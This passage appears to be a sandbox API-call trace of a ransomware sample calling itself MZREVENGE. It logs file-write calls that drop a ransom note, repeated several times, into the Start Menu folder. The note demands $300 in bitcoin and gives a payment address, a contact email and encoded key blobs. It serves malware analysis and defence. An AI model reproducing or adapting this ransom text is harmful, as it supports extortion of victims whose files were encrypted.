uTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw\r\n=================================================================================\r\n", cchWideChar=5981, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5981 [0217.778] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY }=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRİVATE MZREVENGE KEY }============================\r\n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\r\n=================================================================================\r\n", cchWideChar=5981, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5981 [0217.778] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY }=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRİVATE MZREVENGE KEY }============================\r\nMZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw\r\n=================================================================================\r\n", cchWideChar=5981, lpMultiByteStr=0x24a2f48, cbMultiByte=5981, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY }=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRIVATE MZREVENGE KEY }============================\r\n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\r\n=================================================================================\r\n", lpUsedDefaultChar=0x0) returned 5981 [0217.778] WriteFile (in: hFile=0x32c, lpBuffer=0x24a2f48*, nNumberOfBytesToWrite=0x175d, lpNumberOfBytesWritten=0x19fd14, lpOverlapped=0x0 | out: lpBuffer=0x24a2f48*, lpNumberOfBytesWritten=0x19fd14*=0x175d, lpOverlapped=0x0) returned 1 [0217.779] CloseHandle (hObject=0x32c) returned 1 [0217.779] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fba4, csidl=22, fCreate=0 | out: pszPath="C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned 1 [0217.780] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu" (normalized: "c:\\programdata\\microsoft\\windows\\start menu")) returned 0x11 [0217.780] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fba4, csidl=22, fCreate=0 | out: pszPath="C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned 1 [0217.780] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\How Do I Recover My Files (Readme).txt" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\how do i recover my files (readme).txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0217.780] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY 